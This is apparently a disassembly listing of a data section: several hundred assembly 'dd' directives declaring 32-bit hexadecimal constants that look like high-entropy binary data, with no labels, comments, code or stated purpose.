dd 49F4D298h, 0B1694ADBh, 3771BA43h, 9CCD609Ch, 2D0C8995h
dd 3A1495B9h, 0E7A690D0h, 49CCE320h, 8FBD6C4Ch, 7F9403C2h
dd 630D280h, 73B352B3h, 179D38C3h, 0AD78913Ch, 6E3B02EFh
dd 69C87132h, 8E89963Eh, 98A27D62h, 0FAD936E2h, 48EE7D44h
dd 7145492Eh, 3B7D073Ch, 1457713Dh, 94F6EC15h, 0E61CC181h
dd 0CF9C8580h, 2FF6FCDDh, 5A837482h, 6E392E9Ch, 85CFC8Dh
dd 767ED320h, 437AE12Bh, 85C52E21h, 0C0EC06B2h, 5522299Dh
dd 0D379A380h, 5FABABA4h, 89A28C3Dh, 0F805068Ah, 0FF8421C9h
dd 0DCC7848Eh, 4F03AD64h, 0C3E6E25Ah, 0A060C7DEh, 38325700h
dd 1EBFA8A4h, 0DB4A0A12h, 0CEE0BE9Fh, 0B3C82A12h, 42F32C17h
dd 1C0635D2h, 0AA8A7D69h, 7E7406EFh, 26B19B95h, 5F0DB80Ch
dd 2F91ED54h, 165A883Ch, 882EB599h, 32838DBCh, 222D0DB4h
dd 24CF87D8h, 0FB4CDA34h, 0B2F18911h, 1313C674h, 1AD8B07Eh
dd 746AA230h, 0AD05E4ECh
dd 0BD7C014Ah, 1E6A1C17h, 0BB7E0C10h, 55125A5Ah, 0B705FBC1h
dd 7C91BEDBh, 4F2BFF1Fh, 0C1509FF0h, 0E1CAAF3Ch, 0EF18D773h
dd 0C63E22Ah, 43301D54h, 0D8F06FCEh, 0B4DFD9C0h, 86CE10ADh
dd 0EBAA8ADAh, 4661799Fh, 0BD0DDFD1h, 8D0CDD33h, 0F70C7FA6h
dd 0CB9D6A34h, 0A1F2CE0h, 0AA2E56DCh, 883FF9Bh, 0A5FC782Fh
dd 161E501Ch, 90EA60C3h, 43A776D9h, 12992279h, 3CA11E20h
dd 0EC44665Fh, 0C7FF8121h, 0FA8F1810h, 2912FDCBh, 41931AE0h
dd 284AF1FAh, 50635232h, 0AE63F4DAh, 8E97E580h, 0AB879DE5h
dd 0A80173Ah, 93B28BA0h, 9EFF0745h, 5D590BBAh, 0C2E9382Eh
dd 1F6C1B79h, 19A73C5Eh, 0BDCF259Eh, 0BEBEA594h, 8F070514h
dd 22781099h, 20C9913Fh, 889889E7h, 7F79479Ch, 5290E6D1h
dd 7F3F5E5Ah, 0D0ED9AB4h, 7C0724FAh, 0B499B3FAh, 5810CC69h
dd 98D3CDE1h, 0B7D8A2AFh, 0E6F36526h, 466C93D3h, 0BE31AFF0h
dd 7987D240h, 473DE411h, 0B4C9DDF1h, 8DF1241Dh, 0F9933BC7h
dd 7FADDB15h, 56868D6h, 948B33C0h, 0E08268CFh, 3542884Fh
dd 0FA4186B7h, 95DFA8DEh, 2C34F9FCh, 4FE0F66Eh, 0E478EC38h
dd 1A423ED5h, 403C9B38h, 0FEF47EC7h, 13259B63h, 41200778h
dd 0BA89350Dh, 46DCCC2Ch, 3528087Ch, 0B0817257h, 97FA43DFh
dd 68544613h, 8ED7A9A9h, 0A3557B7Fh, 83DF662Dh, 39D2FE09h
dd 30471D14h, 3E21EBF2h, 3BE89BA9h, 0CDB63324h, 0AFEBEB94h
dd 21216A65h, 6D5AF897h, 38D0DADBh, 0CB567ACDh, 7F0A3902h
dd 8C4D0CB8h, 6C945DD3h, 0FC9ACECEh, 26DB784Fh, 0DF3E6C2Fh
dd 741C2AD4h, 0DC64C188h, 0A580074Bh, 0BDEDDAB7h, 0A57F8B56h
dd 0DE5543AFh, 541D9025h, 6CE2C78Dh, 0A627FD53h, 50144811h
dd 6CCA297h, 7B119180h, 15E93678h, 96A9A64Eh, 288F6E19h
dd 0AB0A40h, 7E260478h, 0D048F861h, 20424836h, 402390FEh
dd 4ADFC1Bh, 4C0857A9h, 7F89100Eh, 85832174h, 2BF71ECDh
dd 65DE0B83h, 3165E80Fh, 0A3C43422h, 0A902C7ACh, 0FFE56221h
dd 0CC329F9Eh, 9B9EDD03h, 0FF9FDEDCh, 0DEDDB422h, 55CC2A52h
dd 0AFCE9B97h, 46C5D05Fh, 3E564630h, 0D5E054ACh, 2B2C61Fh
dd 40C42335h, 5CF7004Bh, 3B6B8218h, 0ED834D48h, 0BBD4BB43h
dd 0F597F124h, 4F61F831h, 0AB695F00h, 0C98F2139h, 4E8FCC57h
dd 6D342081h, 0E2AE1B0h, 748405E3h, 0BFA3ED37h, 0B7A41B37h
dd 1FFFCB75h, 0B38E80B7h, 0D19D16E5h, 0F25D8243h, 7FE46108h
dd 0DD422D11h, 0A19C7C64h, 84E4AEDAh, 0A2C8C77Ah, 895CA5CFh
dd 0AC73AC8Ch, 4BB47F38h, 0DEA168C3h, 27535E57h, 0A7DF3BA9h
dd 2FDAEC85h, 8DFE7BFAh, 0EF0EE522h, 0CED9A6F1h, 0ABEB0E44h
dd 0B251559Dh, 0C7EF0890h, 0EECB41F1h, 3E4163F5h, 1B79A09Eh
dd 13E1B846h, 5C746102h, 0D20331E2h, 66D76951h, 0E8247211h
dd 0E30C70D3h, 0C20FA8EBh, 0A9CBEF53h, 0DD14E232h, 26ABADD4h
dd 0AAC0E15Ch, 9EC9C510h, 606FD871h, 4AD3A7BDh, 37CF223Bh
dd 69EF62CDh, 0CDA516B6h, 6DD4E85Ah, 86F99484h, 71B58AAEh
dd 3E1AC16Ah, 5BB4AB4Fh, 0F24E8BFh, 0BF1E4057h, 45C976BDh
dd 0C4F83011h, 639DBC4Eh, 0F3E1AA49h, 0DF148018h, 704009D2h
dd 4C057FB7h, 771A3244h, 8243E190h, 0B178D41h, 0A27E38DBh
dd 0DF1DC6BCh, 0C56D3CB3h, 0F16BCDA0h, 0E1EAEAC4h, 0B469480Eh
dd 0EFEC8D8Ah, 0B3FE2B0Dh, 4E9AE3A0h, 978868AAh, 8865C62Bh
dd 0F38E71DBh, 0FF1F86C4h, 7474F783h, 6F5D715Bh, 5B419Ch
dd 0F5D227A5h, 0E02B6F9Dh, 0BA4F40CBh, 40FEC0CDh, 4D3FBA56h
dd 0D1C12114h, 20CBCAD9h, 8496375Fh, 0E497CE2Ah, 0DF0FEE1Eh
dd 6DD12016h, 8F5F99h, 0B7FDC405h, 8476025Dh, 51FFEE7Ah
dd 0F74E216Fh, 8760BDFEh, 4E4608BCh, 6DD06F47h, 0E9C0A1FBh
dd 9DFD5553h, 9A7DC672h, 0EF6A9895h, 0EF6A060Ch, 0F25B3424h
dd 1C5647ECh, 0DC3D282h, 0F1BA435Ah, 0C4573CAh, 5E6335EFh
dd 24FC6890h, 0EBDAE3C6h, 3F6B7F47h, 98CFE1DCh, 77EB6833h
dd 19E8D69Ah, 128DE6BDh, 5FBBCC39h, 86206987h, 961AC39h
dd 6C747653h, 7373714Ah, 47FCC25Ah, 0F52AEBC8h, 0D510D45Ah
dd 0D38821FBh, 56EDCB27h, 463823F9h, 0FB50A856h, 55A88B9Fh
dd 41E0065h, 0C13F9F01h, 2AF57F25h, 513C9227h, 0BF6F316h
dd 442E7E88h, 6BAD795Dh, 0C76D109h, 389640C9h, 14CD89BAh
dd 0AC4829E4h, 26DA3298h, 0DC2F9766h, 50EE65BEh, 13444C64h
dd 3BA4C9D9h, 20057568h, 0C374E782h, 2745B65Fh, 0F479261h
dd 3CFCB13Fh, 0B327E100h, 0D1714736h, 0A80E871Dh, 459D72A1h
dd 0A4EE71BDh, 7A103AC0h, 0DC21CB52h, 98226FC1h, 6EE0BFC9h
dd 0C062387Fh, 3A19E641h, 0D666B36Fh, 8B71EFF2h, 0C7B252DAh
dd 2E32222Ah, 655D4Ch, 7AD120C4h, 0EB547231h, 51487624h
dd 66B75414h, 75BADDF2h, 6ED3FC8Fh, 0C7922951h, 0F294F8A6h
dd 0AD169A7Eh, 31A88C7Eh, 2C16C503h, 0D5A2375Ch, 1B1B839h
dd 6E8A8866h, 319949h, 3CC30DBBh, 78DAF8DCh, 0D2A35304h
dd 280F6913h, 0B9ECB68h, 0BFC48F53h, 70783ABCh, 687737D7h
dd 373D7FB4h, 46A44D00h, 9064898h, 3EF7F4CEh, 99F035B5h
dd 21E42AC7h, 375C6B6Fh, 9782FFCFh, 317573FDh, 0C2CD7EACh
dd 0A10D5627h, 5738D10Bh, 0F5258DEDh, 35AF59AEh, 4EF33F00h
dd 0C6670FC2h, 5E817DB4h, 8EC09975h, 3108A76Fh, 0E948519Dh
dd 0A22171E1h, 1CA2A641h, 2FE456B6h, 0D6735401h, 0AC5A8918h
dd 0B1925947h, 8F6C5C56h, 78F99FA5h, 0CB490542h, 0DA629982h
dd 1F9A8C5h, 91408FCh, 7EF9D8D4h, 0CEB589B0h, 17DB2977h
dd 0E5936DCCh, 474B64E9h, 4812D990h, 5EB95445h, 27793924h
dd 0EB4B281Ah, 45218DD8h, 5315A6FEh, 6650D1h, 0C9C3FA97h
dd 8DFE37B0h, 77B1D775h, 2F3CB44Fh, 27D6DB54h, 9E05B0C4h
dd 0A415E99Ch, 25C8AFABh, 1BEB8133h, 0B48F7953h, 8069D97Fh
dd 2C9AD7ECh, 0B5CD6491h, 3A4D5956h, 0A8931FE6h, 6F3E87A7h
dd 50A041C9h, 6984DC20h, 3BC6FA8Bh, 0E8CD912Ah, 0AE5C990Ch
dd 1C31097Fh, 2D77D16h, 0C2B70733h, 399C1AA4h, 72D08920h
dd 0DFB75EE1h, 8973BB41h, 5A98C2F2h, 43295D6Bh, 0B1595E6Ah
dd 8B73F45Fh, 157C8C73h, 0E80B52BAh, 0CA734237h, 367D1E44h
dd 9CE28DDBh, 3213D940h, 0D7BC8837h, 8BCB7657h, 0E96EC0E9h
dd 617651FFh, 667E1D4Ch, 0FBEB062Dh, 353D70AEh, 9EC7BB13h
dd 0C8C24A45h, 0A1F3236Fh, 33E655B2h, 9FD0AFC3h, 41BB1C2Dh
dd 0B4F15960h, 5D7B4C26h, 9F77A524h, 14E927F4h, 5926886Bh
dd 9FB9644Ch, 0FFF1C034h, 11F21619h, 1CEBA95Bh, 63962AAh
dd 0FBAFE343h, 3AF3974Eh, 0A64587F2h, 0D6AA0C8Ch, 6A29306Bh
dd 5F322598h, 3023FEAh, 45F15033h, 0B059AE13h, 1F3F78DFh
dd 1104BA1Eh, 0ACF27A86h, 88B5637Bh, 0B990460Eh, 0C0000679h
dd 0AF9FE95Eh, 90B84081h, 43EBF0F2h, 84349DEDh, 0DD13A4AEh
dd 0B070FCA8h, 588A44B5h, 0C2CFC6E2h, 0B02C7D1h, 217F9DE7h
dd 8290DC38h, 0D02C5600h, 0AF2F744Bh, 12BE2251h, 0C3F58BA9h
dd 0A83D9081h, 84F9AF43h, 0DEE7A667h, 0F899E1DEh, 0CD7B046Ah
dd 7D00EC0Ah, 61D559B8h, 87BF63DEh, 82026E1Bh, 8BAF7AFCh
dd 32889780h, 0F1226642h, 6F44AA47h, 0D157D4BEh, 909FE88Bh
dd 75197288h, 7B4EF329h, 0D3059617h, 51990C89h, 8502164Ch
dd 0F01D8398h, 7DBF5C10h, 68AF84D7h, 39DFECD7h, 3CED48EBh
dd 254A1524h, 80B4613Eh
dd 0BD5BC5E3h, 40C20BDCh, 0C196547Fh, 14D08BD0h, 0DA2DD3BAh
dd 9E55E36Ch, 22DD919Fh, 0EC4111B3h, 7941CF97h, 49C34115h
dd 189EC68Ah, 3BDF62F8h, 9155BE6h, 0CE4D1B4Bh, 0E0B6AF88h
dd 0D6FB6CAEh, 45CD4564h, 0A203CA05h, 0C36367F9h, 4F064E35h
dd 0EEE934EFh, 6285966Bh, 48ECC8F5h, 2FD2623Bh, 0D833EE0Ch
dd 0E049B4Bh, 0B7AF5C1Dh, 0E1434C26h, 0FD8D2AD3h, 30A20B7Ah
dd 81D85BEDh, 0C8BCD2E4h, 0F39135DFh, 4280AD08h, 3301AB95h
dd 0B2272FE3h, 0B006CD56h, 596C32F5h, 0A9AFE0F5h, 77272C40h
dd 0CBC4D2BEh, 0C1BEE6D2h, 0C48482F7h, 0AFB4ADADh, 7F21D895h
dd 10651BDh, 1B27F9A1h, 91C93B07h, 0DB8399E9h, 7331A595h
dd 0BF4FF305h, 0D50F512Ah, 0D32B3289h, 8B3EE831h, 0D8A86F68h
dd 0CCAE5D0Fh, 0CC0443BEh, 291F2D61h, 5DDC9252h, 1EF342Fh
dd 502DC08Dh, 0A7A50412h, 4CEEB553h, 472CA09Ah, 0E75D5D1Eh
dd 7BA04892h, 0F33A5436h, 8F121613h, 70605145h, 7EFE1EDCh
dd 83A295C5h, 9517EB49h, 61560397h, 5CD81B41h, 7B3D94AFh
dd 7FF2F154h, 0D4840199h, 0E77F564Eh, 7E0202Dh, 62D72C52h
dd 0FFA50285h, 37277139h, 0B325B58Dh, 13AD4F86h, 3930B771h
dd 0A0E0A7B1h, 20871A52h, 33E86C90h, 0C9C71BCEh, 0FEE26B94h
dd 0F9976E44h, 0BAA2C9D7h, 30420D9Dh, 798A3B7Ah, 19D49EA1h
dd 0BE8EE691h, 4C16431Bh, 0EA7A1098h, 25F6D4B1h, 8D36F216h
dd 0B4AD861Fh, 3CF49836h, 6BE6A616h, 42AD1F9Ah, 298A48FBh
dd 2269D381h, 0AA7CC806h, 0F8DC084Fh, 0EC71C9DDh, 0BE7F4303h
dd 8169F654h, 76151977h, 0BCE11EDCh, 0EBE0B96Fh, 0E6900E8h
dd 3E87FFA2h, 6F970C8Eh, 567AE6D2h, 9F4A256Eh, 0E7D74770h
dd 5417899Ah, 4B45D06Bh, 0EDC754EDh, 0CC8E583Ch, 0DF685493h
dd 38A76CA0h, 11021C83h, 0D20F7B19h, 0A4780192h, 63F7D163h
dd 1A68E1CCh, 70304FBFh, 0AEB990BEh, 319C1FEEh, 0D4DC398Dh
dd 0A581614h, 0F3876628h, 6E42A29Ah, 538ADE39h, 64DF2FAFh
dd 0C09CCF32h, 0C13019F2h, 27AA448Fh, 9690C5Eh, 0A0FA9C96h
dd 994CF0D8h, 674784E1h, 2AFA72F1h, 6420CAFCh, 92EF6163h
dd 9DB5FB3Fh, 0B55F9AA6h, 253A9A53h, 0B197F01h, 0E3A81EB8h
dd 82B3A050h, 0B127EC37h, 0DE434548h, 5B103130h, 0FC7C01Eh
dd 4E7F3223h, 3C776409h, 1EB7207Fh, 822BD565h, 0D1EC6F41h
dd 23508B64h, 1CAFA8EBh, 71FB8EA1h, 9C74F5F7h, 76CC7BD7h
dd 20DE9E93h, 3E0E5E53h, 0FD18BD6h, 0E1D2F7D9h, 0F82A62A3h
dd 30499F41h, 41E59EC8h, 8D557526h, 0F12FA116h, 6DE3328Ah
dd 6EFCFEE1h, 0A4CF4E83h, 50A1C2A3h, 0DB499D4Dh, 0B416D81Bh
dd 0FF06AE99h, 0C5E2A2F2h, 37FAFB85h, 2C8B8F69h, 0A80F00B0h
dd 12638927h, 9A10D71Ah, 510768BEh, 5BC56760h, 37594563h
dd 5BF54935h, 76E8D06Bh, 87E29FCBh, 0F44E8180h, 0D8FA3258h
dd 0B5C66CBBh, 2CF17740h, 0D67F80Fh, 932B244Bh, 0DA2A2AFDh
dd 79C68E7Ch, 0FA53021Ch, 17350DA6h, 30945A4Ah, 67C051C2h
dd 0D15557B4h, 0B6F03DB0h, 0E0D7A14Eh, 8C1FD8E7h, 5DABA59h
dd 0C8DA415Bh, 37AA09C1h, 0E20C461Fh, 9D81A44Bh, 0AA67925Bh
dd 5766066Eh, 56D6D4E0h, 9AA2033h, 0DA1591BBh, 90D23C1Eh
dd 6BBDCD6Ah, 0D3D8685Eh, 0ADA63398h, 6AD5363h, 4398CAF6h
dd 6DDD8317h, 667FEBF3h, 81DC658Fh, 76070F56h, 6A7A64B0h
dd 0BA52C119h, 629DD1C7h, 6F32410Fh, 8F96DB8Eh, 0B5660DDBh
dd 1FA13DD2h, 0B0464FCFh, 0C4FDAB87h, 3E183E33h, 8F8DB3E1h
dd 0D86E0828h, 2CE937h, 1446E31Dh, 91FD939Dh, 67C8271Bh
dd 47BEF1BEh, 126FC5FBh, 1CC14C26h, 3C0F6BA6h, 8C0FEB69h
dd 1EE65216h, 0B1B16E7Ch, 9C6CA2C3h, 78EF08A9h, 1ACA323Bh
dd 6DFA709Bh, 66AC31E4h, 0ED2D38C7h, 0AE9CAE38h, 957B37CCh
dd 0D46A9283h, 48724DD5h, 9DB965F4h, 8D5129BBh, 0CE47E9F3h
dd 0ECA8AB4Eh, 85B545F2h, 504835EFh, 0E4127AD7h, 1E5684A1h
dd 76A678B3h, 17F0EF3Bh, 327836F0h, 0E68D4D2Ch, 0DAC16E90h
dd 0E923A7FFh, 3E753A6Bh, 3E133ED9h, 0A913B5BAh, 9A16134Ah
dd 1BB7224Ah, 0A86347Eh, 6A4F9327h, 0E1FC02F6h, 0A69EF1Bh
dd 82155D95h, 0C62FF7FCh, 0EFC8F7ADh, 1DB1E568h, 0E4B7AF94h
dd 0EC4B7A86h, 5FA9055Fh, 0D084BB76h, 56702A1h, 35D19B74h
dd 9DDE9EE6h, 496B58DEh, 85D1257Eh, 24698360h, 136DFE58h
dd 0C63D7A55h, 0A0E80D63h, 0C3988652h, 0EADC8181h, 93FA0A99h
dd 566BFF49h, 0FCF91E93h, 6AF5565Ch, 1217F6FDh, 0D8E5E34Fh
dd 5CCA8A4Ch, 0EDC2B6B6h, 96D86EBCh, 2B588607h, 14A3FA68h
dd 41AB8F6Ah, 0D8EF0645h, 4AB823DCh, 0B35D90A3h, 0E78B344h
dd 1DB230B1h, 0FBA5ACA6h, 384ABBF4h, 0ADD766A4h, 8183F11Dh
dd 429591C1h, 0D96631F0h, 8D308419h, 0CA8D9067h, 0B745A4ADh
dd 0EDBFE7D5h, 1006584h, 0AB6DD735h, 0DDFC9DB1h, 0D312EFF1h
dd 0E3CFC6FBh, 0BD34FE0Bh, 81C63Eh, 5F796ACBh, 9B3FFCEEh
dd 8127C282h, 9C9931B1h, 1EFDAF67h, 9F3E81A2h, 0C398C952h
dd 0E6061C87h, 9AB8073Dh, 84DC99EEh, 0F2670EAh, 401A482Fh
dd 0F25AD6B1h, 1539C669h, 25EF0A04h, 0E39A0DA0h, 0E272F085h
dd 42033755h, 90BB820Ch, 1D8E0953h, 304B19F6h, 0F4F29AEFh
dd 23E29AD2h, 4F6599Dh, 6DAE34CFh, 615B014Ch, 9FFD4AF5h
dd 0DBFD1DEFh, 0FDDC2873h, 3D1FB567h, 35DAA35h, 44D1A25Ch
dd 0B138093Eh, 66BEB915h, 0B8A3E3ACh, 51274627h, 3A2D6D33h
dd 0D574D3F9h, 781798C8h, 27C9BC59h, 9C37F605h, 0C131AD4Ch
dd 0C235F0ACh, 0B0AE1CAEh, 58C44431h, 0F615417h, 0A390376Fh
dd 0E06E6030h, 0DA6F4B43h, 2F365E24h, 9848086Ch, 0DBD0DEA9h
dd 5C23E080h, 1D2A2CD3h, 11360749h, 6468347Bh, 1AC6A5D4h
dd 0DCF2FCCEh, 0D343AD2Bh, 0EA7A0080h, 83A8C192h, 2256F3E5h
dd 9936A320h, 3D4ED4C0h, 0E0445219h, 0C99A44D2h, 99D141C1h
dd 0E776203Bh, 0B8DFD1D9h, 379FBBEDh, 0C75B5CF3h, 0FAC9CE4Ch
dd 468F2AD6h, 317441CAh, 9BFACDCCh, 6C3261ABh, 0D2C92A45h
dd 0F9A9427Eh, 8F25B62Bh, 0B57AADA6h, 1662704Bh, 0BE25D8AFh
dd 32EF5023h, 93B68327h, 0F1D8772Bh, 0AE6BD5CFh, 998FDDD8h
dd 2AD9D761h, 0EBA3D95h, 0BEB132D4h, 0E6354E2h, 8D79390Eh
dd 6023139Bh, 8C953565h, 67EDA70Dh, 0B7F1EEFAh, 0D35D3B4Dh
dd 0DAE3FB0Ah, 9B1BF50Ch, 0F44F12CFh, 0C39028BCh, 499E4243h
dd 3374BDC2h, 5B4A2079h, 142518AFh, 0CE531D3Eh, 0BC55A654h
dd 0D6D349E7h, 0C441C330h, 0FFC01EFBh, 4281A756h, 0EC836BDDh
dd 0B70BF23Fh, 52575E19h, 8B7BCB40h, 0C430D0C3h, 1C0703E9h
dd 17AF66C7h, 5980C935h, 8CBC2D82h, 0B80152C7h, 0F9B5B933h
dd 713C0DB0h, 0A2936E12h, 0F85A1A5Dh, 7D18816Bh, 5B541028h
dd 0BAB0AC73h, 13CEDE02h, 0B6EA6B5Ah, 0C1550439h, 98E2921Dh
dd 2C690ACBh, 0F4030B33h, 0F9A89BC3h, 1C28921Ah, 342A4A41h
dd 57691AFCh, 0D59D6453h, 0D949DF40h, 60EC45A4h, 7DB72B45h
dd 79D7735Bh, 850E1A64h, 58460A5Bh, 2E1F1659h, 96A1F9E8h
dd 0D6096021h, 57E5C327h, 8C1545ACh, 966D8D5h, 55D1DB16h
dd 40D4C245h, 4C2236E4h, 5347F861h, 61CE616Ah, 2F6EF28Ah
dd 4FACD28Ch, 65B24457h, 40A9FB1h, 0FED50DBDh, 4F954089h
dd 8784E94h, 4B103F11h, 70FA61E3h, 4524F75Fh, 4A66E64h
dd 2A885FD8h, 86C6D115h
dd 14D4E43Bh, 0CAE104CFh, 41640A3Eh, 7F55C666h, 2C246250h
dd 94158F88h, 8118751h, 0F7637AD7h, 0C89083E3h, 80103C12h
dd 32CDAB65h, 0F187B053h, 44277BF0h, 3F6A7DCAh, 0FE8EBAECh
dd 0CC901D3Ah, 4FC9F1B5h, 2DCADBF3h, 941A1DCBh, 98E05BC4h
dd 76D49B0Ch, 71B21575h, 84C43FBFh, 0D15FC1AEh, 87F491D6h
dd 0A1F1C7A5h, 73EF1F5h, 94D7D128h, 5FE23DC8h, 3E34B086h
dd 1B89AFD3h, 0ACD170CCh, 0C3B9B8E3h, 0F60BB7DBh, 1DE8670h
dd 0D31E3437h, 7A36BBAFh, 0DBA90764h, 0C0BC8528h, 0FEDB79F4h
dd 0ACBC6DE0h, 0FA3E28E4h, 8324E55Ch, 534469FAh, 0ACBC6A74h
dd 9BE855FFh, 3BEF224Fh, 94018357h, 413EFD14h, 67D1F9D0h
dd 0A871F3E7h, 16A0CEB2h, 35D97E62h, 47AB8891h, 1FDCD5F1h
dd 19CEA708h, 0B93BD83Eh, 0F99B3BB2h, 982C983h, 65196846h
dd 0CF870CF8h, 3CE92A8Ch, 9BC3BC8Fh, 3A9B2C0Ch, 0BB63BCEEh
dd 771274A0h, 0D26F5CADh, 0DB48F95Ah, 46E6F591h, 0CB1FDFFCh
dd 48481B1Eh, 0E409AA56h, 41454E7Ch, 677A2850h, 5DAEB519h
dd 179D21B3h, 0BAA30E8Fh, 7CF590DDh, 4B50DB33h, 0AB054C2h
dd 4AA596ECh, 0C63BFBC9h, 0D4954F8h, 427AEBD0h, 2DF27A28h
dd 0F30E56F2h, 0E73FBAEh, 0DF3DF498h, 77BA966Bh, 0E65DE66Bh
dd 0E7F65145h, 0A15BAACh, 370FD4D3h, 0F827C4D2h, 0EA244D1Ah
dd 2CC36475h, 9F717AEh, 60F157BCh, 0B204F1F7h, 959DB77Eh
dd 65F499AAh, 7EF91465h, 0D1A21E75h, 0CFBF12BDh, 0E0B27F7Ch
dd 225CABB7h, 806E968h, 5588A987h, 6F009058h, 5A817837h
dd 706FAB6Eh, 0C35E588Bh, 9FB6B7BCh, 8007F3D8h, 8522A850h
dd 48F80F1Fh, 0EA9046F5h, 0E35F7278h, 0A689B7ADh, 6DF5B908h
dd 0B00FFCE2h, 85757192h, 0FCA5FC4Ah, 8E91308h, 280AE3D9h
dd 53045162h, 99F18465h, 75291B72h, 62ACCB4Ah, 831AA7E9h
dd 84A795E9h, 0FA636046h, 7327593Ch, 4895714Ah, 34F1570h
dd 2351E664h, 60F16A4Eh, 430CFD67h, 0F74390F9h, 7485155Ah
dd 718F4F14h, 0A639D269h, 76695852h, 0F6A75D62h, 0A61BCBA2h
dd 47569462h, 0E15A49D2h, 0C82B745Ah, 0C070D528h, 0F4922B56h
dd 0DE051B4Fh, 0E3B0527Fh, 0ABDCA957h, 7D09E8FDh, 0CB6011E0h
dd 0C1D34F37h, 0B469EEFCh, 0D38F5C9Ah, 21CE2B26h, 0FBF2BD24h
dd 2D8C43C0h, 7C081EF3h, 6DEF75CCh, 250C2E5h, 0A1B80E1h
dd 66CE963Ah, 0DDA048FFh, 0B6E35BFBh, 0A507FA79h, 1D950F09h
dd 0AA553D5Dh, 2DFAC274h, 446AFB3Ch, 0CA0E5F0Fh, 78019739h
dd 0CC934ECAh, 44271B23h, 13719E66h, 0BDAF489Ch, 0C914C8A7h
dd 14F12A3Fh, 193A1B25h, 0C31DE8AAh, 0F0D62DB3h, 3F0272E6h
dd 50C48D0Fh, 6BADF384h, 0E3291EA3h, 8B78D3D1h, 0D9420F9h
dd 0B2A4D87Dh, 0F64E383Dh, 0C4FA8B1Ah, 0CBD9B865h, 0AFD3D865h
dd 0C0BA642Bh, 9CCB7E73h, 0CAE0576Bh, 145D1E6Eh, 6FCBAA61h
dd 41970761h, 3AD5BF01h, 6785DAC4h, 4B16B6AEh, 724A6536h
dd 1DE35603h, 78D01A7Ah, 0E3F608C2h, 0A382433Eh, 87BC35EEh
dd 3EAB4907h, 864DB79Bh, 1D22ABD5h, 896A1FB1h, 43F195E5h
dd 0C7EB4FE5h, 57C1CC8Fh, 0E4547EF8h, 170B088Ch, 0AC002F1Dh
dd 6F530272h, 74C6E173h, 818C7239h, 0DF2C26A8h, 99164EC4h
dd 0F310E4FCh, 863C049Fh, 2B25A45Dh, 0F11B2E81h, 95919601h
dd 0BC31E65Bh, 0DF541AF9h, 0C879E59Ah, 0EA4DEE9Ah, 0EBAB0476h
dd 80661401h, 0E77C777Ch, 0C6C9616Eh, 58A5BFC6h, 86CD4A26h
dd 455F3D4h, 1A6429B0h, 10903279h, 0D52740EFh, 64BEA7E2h
dd 4CD8AB9Bh, 8001CB29h, 6259950Dh, 895D329Ch, 9774E646h
dd 0DECB1A27h, 0E43B7B40h, 8909679Eh, 446565B4h, 78959DB5h
dd 8AE1BD30h, 0F131FC34h, 0A21F8DE0h, 0CB176E02h, 8DD7F84Ah
dd 0A444206Dh, 0C2F92349h, 58A1A536h, 0A19C0E64h, 507AC9A7h
dd 0A6EAFB7Dh, 0C28972E2h, 2BB405B5h, 0C709AEA9h, 5E6869F8h
dd 0EC02A363h, 3679DC3h, 368DCB8Ah, 603CFA81h, 566C8B6Bh
dd 4D7E273Dh, 0C8DC8BD7h, 3F5FBB3Dh, 0D4722A8Bh, 0FB2749B4h
dd 723D3838h, 2DAD408Ch, 57ACD441h, 5DECE0E7h, 0E19FAA63h
dd 0D8AF854Bh, 7B4202D6h, 647DF67h, 572C429Ah, 0F533AC0h
dd 5B667E50h, 0BB68D488h, 0BB84F21Ah, 58095002h, 0B0786F0Ch
dd 28BEF408h, 0B30E243h, 0AE6C26EAh, 0E4636AC8h, 0C7684D04h
dd 28F5857Ah, 695D4937h, 0B7A7A2E0h, 4C0BCAE5h, 8A4A0D36h
dd 7ABFD1CFh, 3508C473h, 7F738943h, 521094C5h, 62B29E04h
dd 2E144194h, 1B851331h, 4DB554BEh, 0A73D5542h, 0A2D802A2h
dd 2B909C1Ch, 2DC7CAF0h, 3B020E50h, 0A39ABEEh, 0EA1A2F5Ah
dd 0BBE48587h, 935ECEDBh, 0CEBB86C4h, 3CC1FDAEh, 0E31C01DAh
dd 0FBD2FDDh, 0A1309878h, 907963D6h, 0D3EE408Eh, 14ABDDh
dd 0DC64E6EBh, 9FBAB1FCh, 0B359E07Ah, 0C927BCA8h, 64759588h
dd 137454BAh, 9214CCEEh, 257992D0h, 0D17D6A47h, 585EB46Dh
dd 0AB4F748Ch, 67A0FD33h, 0FE608A67h, 823E920Fh, 318D42B2h
dd 0FE30CA44h, 0DE70BB57h, 4587C582h, 4D9DDDBCh, 0F7717EA3h
dd 8C01D35Dh, 0EE3B818Fh, 24475ECEh, 0C7FB7374h, 0A7EFC250h
dd 3D1BB243h, 2AD4453Ah, 0F6655E77h, 5B616523h, 490A9F5Eh
dd 3EC4916Fh, 5DDDBADDh, 1E454DEDh, 37439F4Eh, 0E330F2BAh
dd 0DEE9CCF7h, 3C8C0C98h, 46C1C847h, 14F6F652h, 9726F91Eh
dd 1A391461h, 0B37A628h, 0DF460E13h, 5FE0BEDFh, 27652EF8h
dd 0C859363Ah, 612EFD58h, 995436Dh, 2BDC38Dh, 963956BEh
dd 0EFF78DAh, 65BF5103h, 0DED2994Fh, 74717442h, 0B77E7FEh
dd 9BA022D0h, 0CCFC98EFh, 62553C1Ah, 0FCB11FF4h, 0AAEAE35Fh
dd 35D86DECh, 0A9992E60h, 0CCC60799h, 3F4403D1h, 4C78C98Bh
dd 8B54DF17h, 3D1FE5AAh, 4D73D67Eh, 17188BF8h, 0A1EA3BD9h
dd 0F65C8E98h, 0FB86CE12h, 928DE052h, 0ADA24959h, 4EB7CF2Ah
dd 9C8E1213h, 751ED672h, 9EBE72B2h, 44A52E97h, 3AEE4D8Bh
dd 8BC8FDFAh, 0FEFD49A6h, 187A8DF3h, 7F8C0EBAh, 6E148371h
dd 93512067h, 3F8A319Ah, 0C1B9B5B5h, 0E47C79DCh, 1D4486FCh
dd 9BF2D4C5h, 3AFC3D3Ah, 0D8F1DAE8h, 0BE4F2AACh, 55DA4CCAh
dd 3943B88Eh, 0C15A6F89h, 7AB2EE90h, 72AAE9FBh, 94A17660h
dd 0F87D9E08h, 4B1E4C0Ah, 986AEF69h, 6915635Dh, 8F5FC3EAh
dd 3761EF11h, 0F514BA0Dh, 5869E945h, 0CA8D0498h, 8C7FC4Eh
dd 52454D8Bh, 94090450h, 5C980FF0h, 8747F56Bh, 0F349B4CEh
dd 2462FE9h, 0A0966D85h, 7FA3895h, 8F1C5B79h, 60ED22D0h
dd 98920768h, 0D8F47658h, 0F4132B89h, 0BFC2DF61h, 89507A37h
